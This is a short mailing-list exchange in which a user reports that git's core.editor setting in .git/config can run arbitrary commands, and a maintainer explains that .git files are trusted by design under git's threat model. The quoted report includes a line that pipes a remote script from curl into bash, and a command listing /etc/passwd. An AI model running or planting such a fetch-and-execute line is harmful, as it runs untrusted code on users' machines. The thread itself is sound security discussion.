On Sat, Aug 25, 2018 at 11:13:30PM -0300, Leo Silva (a.k.a kirotawa) wrote:
> Hi git community! > > I found what seems to be a vulnerability/bug on git. I'm running > version 2.7.4 on Ubuntu xenial, but also tested with last version > 2.19.0.rc0.2.g29d9e3e. > > The steps to reproduce are: > > 1. open your .git/conf > 2. add something like: > [core] > editor = ls /etc/passwd > or even > editor = curl -s http://server/path/malicious-script.sh | bash -s > 3. run: git commit > > A malicious user/repo can set some code through URL or even as command > in .git/conf and take control of your machine or silently run > malicious code. This is all working as designed. There are many ways you can execute arbitrary code by changing files in in a .git directory. As you noticed, core.editor is one. pager.* is another one, as are hooks in .git/hooks. Our threat model is that the files in .git are trusted, and should be protected through normal filesystem permissions. An important part of that model is that a "git clone" does not copy arbitrary .git files from the other side (only objects and refs). If you find a way around that, it would be a problem (and in fact many of the vulnerabilities we've had have involved somehow writing into .git from the checked-out tree). -Peff
